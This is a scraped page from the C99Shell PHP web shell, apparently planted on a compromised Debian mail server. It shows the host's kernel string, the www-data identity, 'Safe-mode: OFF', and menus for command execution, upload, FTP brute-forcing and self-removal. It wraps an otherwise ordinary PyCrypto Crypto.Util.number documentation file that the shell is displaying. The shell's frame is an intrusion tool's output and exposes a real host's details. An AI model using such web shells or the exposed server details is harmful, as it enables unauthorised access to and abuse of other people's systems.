!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/python-crypto/   drwxr-xr-x
Free 129.81 GB of 142.11 GB (91.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Crypto.Util.number-module.html (22.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Crypto.Util.number
Package Crypto :: Package Util :: Module number
[hide private]
[frames] | no frames]

Module number

Functions [hide private]
 
size(N)
size(N:long) : int Returns the size of the number N in bits.
 
getRandomNumber(N, randfunc=None)
getRandomNumber(N:int, randfunc:callable):long Return a random N-bit number.
 
getRandomRange(a, b, randfunc=None)
getRandomRange(a:int, b:int, randfunc:callable):long Return a random number n so that a <= n < b.
 
GCD(x, y)
GCD(x:long, y:long): long Return the GCD of x and y.
 
inverse(u, v)
inverse(u:long, u:long):long Return the inverse of u mod v.
 
getPrime(N, randfunc=None)
getPrime(N:int, randfunc:callable):long Return a random N-bit prime number.
 
isPrime(N, randfunc=None)
isPrime(N:long, randfunc:callable):bool Return true if N is prime.
 
long_to_bytes(n, blocksize=0)
long_to_bytes(n:long, blocksize:int) : string Convert a long integer to a byte string.
 
bytes_to_long(s)
bytes_to_long(string) : long Convert a byte string to a long integer.
 
long2str(n, blocksize=0)
 
str2long(s)
 
_import_Random()
Variables [hide private]
  __revision__ = '$Id$'
  _fastmath = None
hash(x)
  sieve = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 4...
  __package__ = 'Crypto.Util'
Function Details [hide private]

getRandomNumber(N, randfunc=None)

 
getRandomNumber(N:int, randfunc:callable):long
Return a random N-bit number.

If randfunc is omitted, then Random.new().read is used.

NOTE: Confusingly, this function does NOT return N random bits; It returns
a random N-bit number, i.e. a random number between 2**(N-1) and (2**N)-1.

This function is for internal use only and may be renamed or removed in
the future.

getRandomRange(a, b, randfunc=None)

 
getRandomRange(a:int, b:int, randfunc:callable):long
Return a random number n so that a <= n < b.

If randfunc is omitted, then Random.new().read is used.

This function is for internal use only and may be renamed or removed in
the future.

getPrime(N, randfunc=None)

 
getPrime(N:int, randfunc:callable):long
Return a random N-bit prime number.

If randfunc is omitted, then Random.new().read is used.

isPrime(N, randfunc=None)

 
isPrime(N:long, randfunc:callable):bool
Return true if N is prime.

If randfunc is omitted, then Random.new().read is used.

long_to_bytes(n, blocksize=0)

 
long_to_bytes(n:long, blocksize:int) : string
Convert a long integer to a byte string.

If optional blocksize is given and greater than zero, pad the front of the
byte string with binary zeros so that the length is a multiple of
blocksize.

bytes_to_long(s)

 
bytes_to_long(string) : long
Convert a byte string to a long integer.

This is (essentially) the inverse of long_to_bytes().


Variables Details [hide private]

sieve

Value:
[2,
 3,
 5,
 7,
 11,
 13,
 17,
 19,
...


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0184 ]--